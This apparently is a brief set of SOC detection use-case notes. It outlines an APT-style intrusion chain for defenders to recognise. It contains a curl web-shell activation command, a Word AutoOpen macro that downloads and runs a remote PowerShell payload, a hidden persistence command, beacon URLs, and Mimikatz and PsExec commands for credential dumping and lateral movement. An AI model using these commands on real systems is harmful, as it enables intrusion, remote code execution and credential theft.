SOC Usecase

[Admin]

Activate WebShell Via special cookie

curl -k --cookie "DSLogdSession=xyz" https://victim-ics/home/webserver/htdocs/dana-na/cc/ccupdate.cgi?cmd=whoami 

[Admin]

APT-1 attacks on Westinghouse Electric Company

initial access
- phishing
- word with VBA , Macro Enabled

Sub AutoOpen()
Dim objShell As Object
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://203.81.99.37/payload.ps1')"
End Sub

Dropper : C:\Users\Public\chrome_upd.exe

[ Persist ]
Start-Process -FilePath "chrome_upd.exe" -ArgumentList "/silent /task:sync" -WindowStyle Hidden

POST request every 30s to http://updater[.]info/report.php

[ Lateral Movement ]
PsExec + Mimikatz

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
[HTML]

psexec.exe \\TARGET -u admin -p password cmd.exe[/HTML]

[ Data Gathering and Exfiltration ]

powershell + RAR

[Admin]

Auditd and Log Forwarders Status

coming soon .....